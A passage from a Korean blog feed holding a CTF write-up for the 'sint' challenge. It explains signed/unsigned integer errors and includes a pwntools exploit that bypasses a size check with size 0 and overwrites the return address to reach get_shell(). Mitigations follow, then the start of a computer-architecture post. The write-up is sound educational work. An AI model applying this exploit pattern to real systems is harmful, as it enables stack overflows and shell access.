&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실행 결과:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Input integer n: 17
Factorial of N: 4006445056
Input integer n: 18
Factorial of N: 3396534272&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;곱셈만 했는데 18!이 17!보다 작아졌다. 이유는 factorial은 8바이트(unsigned long long)를 반환하는데, 이를 받는 res가 4바이트(unsigned int)이기 때문이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;18! = 0x16beecca730000&lt;/li&gt;
&lt;li&gt;이를 4바이트 res에 대입하면 상위 4바이트(0x16be)는 버려지고, 하위 4바이트 &lt;b&gt;0xca730000 = 3396534272&lt;/b&gt;만 남는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출력값과 정확히 일치한다. 변수의 표현 범위를 벗어나면 &lt;b&gt;저장할 수 있는 만큼만 저장되고 나머지는 유실&lt;/b&gt;된다는 것이 핵심이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(2) Out of Range (signflip) &amp;mdash; 부호 반전을 통한 검사 우회&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이쪽이 보안적으로 더 중요하다. 같은 비트 패턴이라도 &lt;b&gt;부호 해석 방식&lt;/b&gt;에 따라 전혀 다른 값이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비트 패턴 (4바이트) signed int 해석 unsigned int 해석&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0xffffffff&lt;/td&gt;
&lt;td&gt;-1&lt;/td&gt;
&lt;td&gt;4294967295&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0x80000000&lt;/td&gt;
&lt;td&gt;-2147483648&lt;/td&gt;
&lt;td&gt;2147483648&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre class=&quot;cpp&quot;&gt;&lt;code&gt;// oor_signflip.c
unsigned long long factorial(unsigned int n) { ... }   // unsigned 인자

int main() {
    int n;                            // &amp;larr; signed int!
    scanf(&quot;%d&quot;, &amp;amp;n);
    if (n &amp;gt;= 50) { ... return -1; }   // 음수 검사 우회 가능
    res = factorial(n);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;n이 signed int이므로 &lt;b&gt;음수 입력이 가능&lt;/b&gt;하다. -1을 넣으면:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;n = -1 &amp;rarr; n &amp;gt;= 50 검사를 &lt;b&gt;통과&lt;/b&gt;한다 (음수니까).&lt;/li&gt;
&lt;li&gt;그런데 factorial은 unsigned int n을 받는다 &amp;rarr; -1이 부호 없는 정수 **0xffffffff = 4294967295**로 해석된다.&lt;/li&gt;
&lt;li&gt;결국 약 43억 번 반복문이 돌아 프로그램이 한참 멈춘다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;int에 -1을 저장하면 메모리에는 2의 보수 표현인 0xffffffff가 들어간다. 이를 unsigned로 보면 4294967295가 되는 것이다. &lt;b&gt;양수로만 쓸 값에는 반드시 unsigned를 붙이는 습관&lt;/b&gt;이 예방책이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(3) oor_bof &amp;mdash; 자료형 혼용이 Buffer Overflow로 이어지는 경우&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2)의 부호 반전이 실제 메모리 손상으로 이어지는 예제다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;// oor_bof.c  (gcc -m32로 컴파일)
#define BUF_SIZE 32

int main() {
    char buf[BUF_SIZE];
    int size;                                   // &amp;larr; signed int
    scanf(&quot;%d&quot;, &amp;amp;size);
    if (size &amp;gt; BUF_SIZE) {                       // 상한만 검사
        fprintf(stderr, &quot;Buffer Overflow Detected&quot;);
        return -1;
    }
    read(0, buf, size);                          // read의 3번째 인자는 size_t (unsigned)
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read의 함수 원형은 다음과 같다.&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;ssize_t read(int fd, void *buf, size_t count);
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 번째 인자 count가 **size_t(부호 없음)**다. 공격 흐름:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;size = -1 입력 &amp;rarr; size &amp;gt; 32 검사를 &lt;b&gt;통과&lt;/b&gt; (음수니까).&lt;/li&gt;
&lt;li&gt;read(0, buf, size)에서 -1이 size_t로 변환 &amp;rarr; 매우 큰 수가 됨.&lt;/li&gt;
&lt;li&gt;32바이트 buf에 그보다 훨씬 큰 데이터 입력 &amp;rarr; &lt;b&gt;스택 버퍼 오버플로우&lt;/b&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;gams&quot;&gt;&lt;code&gt;$ ./oor_bof
Input length: -1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
*** stack smashing detected ***: terminated
Aborted (core dumped)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 32비트(-m32)로 컴파일해야 하나?&lt;br /&gt;&lt;/b&gt; 64비트 환경에서 -1은 0xffffffffffffffff이고, size_t는 8바이트라서 이 값이 18446744073709551615가 된다. read 함수는 count가 이렇게 비현실적으로 크면 아무 동작도 하지 않고 에러를 반환한다. 그래서 이 공격은 32비트 환경에서만 성립한다. (sint도 i386-32 환경인 이유)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;(4) Integer Overflow / Underflow &amp;mdash; 연산 중 범위 이탈&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장이 아니라 &lt;b&gt;연산 도중&lt;/b&gt; 자료형 범위를 벗어나 값이 한 바퀴 도는 현상이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;signed char는 127에서 +1 하면 -128로(오버플로우), unsigned char는 255에서 +1 하면 0으로(오버플로우) 넘어간다. 반대로 최솟값에서 빼면(언더플로우) 최댓값으로 돌아온다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;// integer_example.c
unsigned int a = UINT_MAX + 1;   // &amp;rarr; 0           (오버플로우)
int          b = INT_MAX + 1;    // &amp;rarr; -2147483648 (오버플로우)
unsigned int c = 0 - 1;          // &amp;rarr; 4294967295  (언더플로우)
int          d = INT_MIN - 1;    // &amp;rarr; 2147483647  (언더플로우)
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 힙 버퍼 오버플로우로 이어지는 예제:&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;// integer_overflow.c  (gcc -m32)
unsigned int size;
scanf(&quot;%u&quot;, &amp;amp;size);
char *buf = (char *)malloc(size + 1);          // &amp;larr; 여기가 함정
unsigned int read_size = read(0, buf, size);
buf[read_size] = 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 흐름:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;size에 unsigned int의 최댓값 &lt;b&gt;4294967295&lt;/b&gt;(0xffffffff) 입력.&lt;/li&gt;
&lt;li&gt;malloc(size + 1)에서 size + 1이 integer overflow로 &lt;b&gt;0&lt;/b&gt;이 됨 &amp;rarr; malloc(0) 호출 (아주 작은 청크).&lt;/li&gt;
&lt;li&gt;하지만 read(0, buf, size)의 size는 원래 값 그대로 &amp;rarr; 거의 0바이트짜리 청크에 약 43억 바이트를 쓰려 함 &amp;rarr; &lt;b&gt;힙 버퍼 오버플로우&lt;/b&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력값에 산술 연산(size + 1)을 가하면 그 &lt;b&gt;결과&lt;/b&gt;가 다시 범위를 벗어날 수 있다는 점을 항상 의심해야 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;정리 &amp;mdash; 네 유형과 sint의 연결&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;유형 원인 결과&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;out_of_range&lt;/td&gt;
&lt;td&gt;작은 자료형에 큰 값 대입&lt;/td&gt;
&lt;td&gt;상위 바이트 유실 (값 왜곡)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;oor_signflip&lt;/td&gt;
&lt;td&gt;signed로 음수 입력 &amp;rarr; unsigned 해석&lt;/td&gt;
&lt;td&gt;검사 우회 + 거대한 값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;oor_bof&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;signed size 검사 우회 &amp;rarr; read의 size_t&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;스택 BOF&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;integer_overflow&lt;/td&gt;
&lt;td&gt;size+1 오버플로우로 0&lt;/td&gt;
&lt;td&gt;작은 malloc + 큰 read &amp;rarr; 힙 BOF&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제 &lt;b&gt;sint는 (3) oor_bof와 정확히 같은 패턴&lt;/b&gt;이다. 크기 검사는 int(signed)로 하면서 실제 입력은 read의 size_t(unsigned)로 받기 때문에, 음수(정확히는 size=0 &amp;rarr; size-1=-1) 한 번으로 길이 검사를 무력화하고 스택을 덮을 수 있다. 아래 본문에서 이를 실제로 익스플로잇한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 보호 기법 분석 (checksec)&lt;/h2&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found      &amp;larr; 카나리 없음
NX:       NX enabled           &amp;larr; 스택 실행 불가
PIE:      No PIE (0x8048000)   &amp;larr; 코드 주소 고정
Stripped: No
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 조합이 공격 전략을 결정한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;No canary&lt;/b&gt; &amp;mdash; 버퍼 오버플로우로 RET을 덮어도 카나리 검사에 걸리지 않으므로, 카나리를 복구할 필요 없이 흐름을 이어갈 수 있다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;NX enabled&lt;/b&gt; &amp;mdash; 스택에 셸코드를 올려 실행하는 방식은 불가능하다. 그래서 바이너리에 이미 존재하는 get_shell() 함수를 호출하는 방향으로 간다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;No PIE&lt;/b&gt; &amp;mdash; 코드가 0x8048000 고정 주소에 매핑된다. ASLR이 켜져 있어도 코드 영역은 고정이므로, get_shell의 주소를 &lt;b&gt;그대로 RET에 삽입&lt;/b&gt;할 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; &quot;No canary + No PIE + NX&quot; &amp;rarr; 스택 BOF로 RET을 덮어 고정 주소의 get_shell로 점프한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 코드 분석&lt;/h2&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;void get_shell() {
    system(&quot;/bin/sh&quot;);                 // 이 함수만 실행하면 셸 획득
}

int main() {
    char buf[256];
    int size;                          // &amp;larr; signed int (취약점의 핵심)

    initialize();
    signal(SIGSEGV, get_shell);        // 세그폴트 발생 시 get_shell 실행

    printf(&quot;Size: &quot;);
    scanf(&quot;%d&quot;, &amp;amp;size);

    if (size &amp;gt; 256 || size &amp;lt; 0) {      // size 범위 검사 (signed 기준)
        printf(&quot;Buffer Overflow!\n&quot;);
        exit(0);
    }

    printf(&quot;Data: &quot;);
    read(0, buf, size - 1);            // &amp;larr; size_t로 전달됨
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;셸을 획득하는 경로가 사실상 &lt;b&gt;두 가지&lt;/b&gt; 존재한다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;signal(SIGSEGV, get_shell)&lt;/b&gt; &amp;mdash; main의 RET을 깨진 주소로 덮어 세그먼트 에러를 유발하면, 시그널 핸들러로 등록된 get_shell이 실행된다. (정확한 주소를 몰라도 됨)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;No PIE&lt;/b&gt; &amp;mdash; get_shell의 고정 주소를 RET에 직접 삽입해 점프시킨다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 write-up에서는 &lt;b&gt;2번 방식&lt;/b&gt;을 사용한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약점 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;size는 signed int라서 0 ~ 256 범위 검사를 통과해야 한다. 정상적인 경로로는 buf(256바이트)를 넘치게 할 수 없다 &amp;mdash; 257바이트 이상 입력하려면 size - 1 &amp;ge; 257, 즉 size &amp;ge; 258이 필요한데 이는 size &amp;gt; 256 검사에 막히기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 read의 세 번째 인자가 size_t(unsigned)라는 점을 악용하면 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;공격 흐름:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;size = 0 입력 &amp;rarr; 0 &amp;gt; 256 || 0 &amp;lt; 0 검사 &lt;b&gt;통과&lt;/b&gt; (0은 유효 범위)&lt;/li&gt;
&lt;li&gt;read(0, buf, size - 1)에서 size - 1 = -1&lt;/li&gt;
&lt;li&gt;-1이 size_t(unsigned)로 자동 형변환 &amp;rarr; &lt;b&gt;0xffffffff = 4294967295&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;결국 read(0, buf, 4294967295) &amp;rarr; 사실상 무제한 입력&lt;/li&gt;
&lt;li&gt;256바이트 buf를 한참 초과해 입력 &amp;rarr; &lt;b&gt;스택 버퍼 오버플로우 발생&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 단 한 번의 size=0 입력으로 길이 검사를 무력화하고, 원하는 만큼 스택을 덮을 수 있게 된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 익스플로잇 설계&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;스택 레이아웃&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;buf는 ebp - 0x100 위치에 있다. (256 = 0x100)&lt;/p&gt;
&lt;pre class=&quot;asciidoc&quot;&gt;&lt;code&gt;낮은 주소
+------------------+
|   buf[256]       |  &amp;larr; ebp - 0x100, 입력 시작점
+------------------+
|   SFP (4)        |  &amp;larr; ebp (saved ebp)
+------------------+
|   RET (4)        |  &amp;larr; ebp + 4, 여기를 get_shell 주소로 덮는다
+------------------+
높은 주소
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;패딩: buf(0x100) + SFP(0x4) = &lt;b&gt;260바이트&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;그 뒤 4바이트(RET)에 p32(get_shell) 삽입&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Exploit 코드&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;from pwn import *

# p = process(&quot;./sint&quot;)                       # 로컬 테스트용
p = remote(&quot;host3.dreamhack.games&quot;, 19556)    # 원격 

e = ELF(&quot;./sint&quot;)
get_shell = e.symbols[&quot;get_shell&quot;]            # No PIE &amp;rarr; 심볼 주소가 곧 실제 주소

p.sendline(b&quot;0&quot;)                              # size = 0 &amp;rarr; read에 0xffffffff 전달
p.sendline(b&quot;A&quot; * (0x100 + 0x4) + p32(get_shell))  # buf+SFP 패딩 후 RET = get_shell

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;size에 0을 보내 검사를 우회하고, 두 번째 입력에서 260바이트 패딩 뒤에 get_shell 주소를 붙여 RET을 덮는다. main이 리턴하는 순간 get_shell로 점프해 system(&quot;/bin/sh&quot;)가 실행된다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 플래그 획득&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;235&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZGWHR/dJMcag64BWQ/MXkaXW5yGaz5tDiVJ5Rrk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZGWHR/dJMcag64BWQ/MXkaXW5yGaz5tDiVJ5Rrk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZGWHR/dJMcag64BWQ/MXkaXW5yGaz5tDiVJ5Rrk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZGWHR%2FdJMcag64BWQ%2FMXkaXW5yGaz5tDiVJ5Rrk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1568&quot; height=&quot;235&quot; data-origin-width=&quot;1568&quot; data-origin-height=&quot;235&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 방어 기법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점의 근본 원인은 &lt;b&gt;signed로 검사하고 unsigned로 사용&lt;/b&gt;한 자료형 혼용이다. 다음과 같이 막을 수 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;부호 일관성 유지&lt;/b&gt; &amp;mdash; 길이/크기 등 양수로만 쓰일 값은 처음부터 unsigned(혹은 size_t)로 선언한다.&lt;/li&gt;
&lt;li&gt;size_t size; scanf(&quot;%zu&quot;, &amp;amp;size); if (size &amp;gt; 256) { ... } // 음수 자체가 불가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;연산 결과까지 검증&lt;/b&gt; &amp;mdash; size - 1처럼 입력값에 산술 연산을 한 결과가 다시 범위를 벗어날 수 있음을 항상 의심한다. (언더플로우 주의)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;상한&amp;middot;하한 모두 검사&lt;/b&gt; &amp;mdash; signed를 불가피하게 쓴다면 read에 넘기기 직전 값을 다시 한 번 검증한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;컴파일 보호 기법 활성화&lt;/b&gt; &amp;mdash; Stack Canary(-fstack-protector)와 PIE(-fPIE -pie)를 켜면, 설령 BOF가 발생해도 RET 조작과 주소 고정 악용이 크게 어려워진다.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;7. 정리&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;취약점 유형&lt;/td&gt;
&lt;td&gt;Type Error (signed/unsigned 혼용) &amp;rarr; Stack BOF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;핵심 메커니즘&lt;/td&gt;
&lt;td&gt;size=0 &amp;rarr; size-1=-1 &amp;rarr; read의 size_t로 0xffffffff 전달&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;우회한 보호&lt;/td&gt;
&lt;td&gt;No canary(RET 덮기), No PIE(고정 주소 점프)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;공격 기법&lt;/td&gt;
&lt;td&gt;RET overwrite &amp;rarr; get_shell() 호출&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CTF</category>
      <author>whffu0123</author>
      <guid isPermaLink="true">https://gahyun0123.tistory.com/22</guid>
      <comments>https://gahyun0123.tistory.com/22#entry22comment</comments>
      <pubDate>Sat, 27 Jun 2026 17:16:39 +0900</pubDate>
    </item>
    <item>
      <title>컴퓨터 구조</title>
      <link>https://gahyun0123.tistory.com/21</link>
      <description>&lt;h1&gt;컴퓨터 구조 정리 &amp;mdash; 데이터 표현부터 성능까지&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 공부 시리즈 전체를 하나로 묶었다. 전체를 관통하는 한 문장: &lt;b&gt;컴퓨터는 명령어와 데이터를 메모리에 저장해두고, CPU가 하나씩 꺼내 실행하는 기계다.&lt;/b&gt; (폰 노이만 구조)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;데이터 표현 &amp;mdash; 0과 1로 정수&amp;middot;음수&amp;middot;소수&amp;middot;문자를 표현&lt;/li&gt;
&lt;li&gt;명령어 &amp;mdash; CPU가 알아듣는 ISA와 fetch&amp;ndash;decode&amp;ndash;execute 사이클&lt;/li&gt;
&lt;li&gt;CPU 동작 &amp;mdash; 제어장치&amp;middot;ALU&amp;middot;플래그, 그리고 파이프라인&lt;/li&gt;
&lt;li&gt;메모리 계층 &amp;mdash; 레지스터&amp;rarr;캐시&amp;rarr;RAM&amp;rarr;디스크, 지역성, 가상 메모리&lt;/li&gt;
&lt;li&gt;성능 &amp;mdash; 무엇이 빠름을 결정하는가&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1편 데이터 표현&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 (1) 데이터 표현 &amp;mdash; 컴퓨터가 0과 1로 모든 걸 나타내는 법&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴퓨터 구조 공부 시리즈 1편. 컴퓨터가 정수, 음수, 소수, 문자를 어떻게 0과 1만으로 표현하는지 정리한다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 양의 정수 &amp;mdash; 2진수&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10진수는 자리마다 10의 거듭제곱, 2진수는 2의 거듭제곱이다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;1011₂ = 1&amp;times;2&amp;sup3; + 0&amp;times;2&amp;sup2; + 1&amp;times;2&amp;sup1; + 1&amp;times;2⁰ = 8 + 0 + 2 + 1 = 11
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;16진수(hex)&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4비트가 정확히 한 자리(0~F)로 떨어져서 비트를 짧게 적을 때 편하다. 4비트씩 묶으면 바로 변환된다.&lt;/p&gt;
&lt;pre class=&quot;basic&quot;&gt;&lt;code&gt;1011 1010₂ = 0xBA
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포너블에서 주소를 0x400000처럼 적는 그 hex가 이것이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 음수 &amp;mdash; 2의 보수 (two's complement)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음수를 표현하는 가장 단순한 발상은 맨 앞 비트를 부호로 쓰는 것(부호-크기 방식)이지만, +0과 -0이 따로 생기고 덧셈 회로가 복잡해진다. 그래서 컴퓨터는 거의 항상 &lt;b&gt;2의 보수&lt;/b&gt;를 쓴다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;만드는 법: 모든 비트를 뒤집고(1의 보수) +1&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8비트로 -5 만들기:&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;   5  = 0000 0101
뒤집기 = 1111 1010   (1의 보수)
   +1 = 1111 1011   &amp;larr; 이게 -5
&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;뺄셈을 덧셈 회로 하나로 처리&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7 + (-5)를 그냥 더한다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;  0000 0111  (7)
+ 1111 1011  (-5)
-----------
 10000 0010  &amp;rarr; 맨 앞 자리 넘침(캐리) 버림 &amp;rarr; 0000 0010 = 2  ✓
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;음수든 양수든 똑같이 더하기만 하면 되므로 하드웨어가 단순해진다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;8비트 2의 보수 표현 범위: &lt;b&gt;-128 ~ +127&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 소수 &amp;mdash; 부동소수점 (floating point, IEEE 754)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과학적 표기법(1.234 &amp;times; 10&amp;sup3;)을 2진수로 옮긴 것이 부동소수점이다. 32비트(float)는 세 부분으로 나뉜다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부분 비트 수 역할&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;부호&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;양수 / 음수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;지수&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
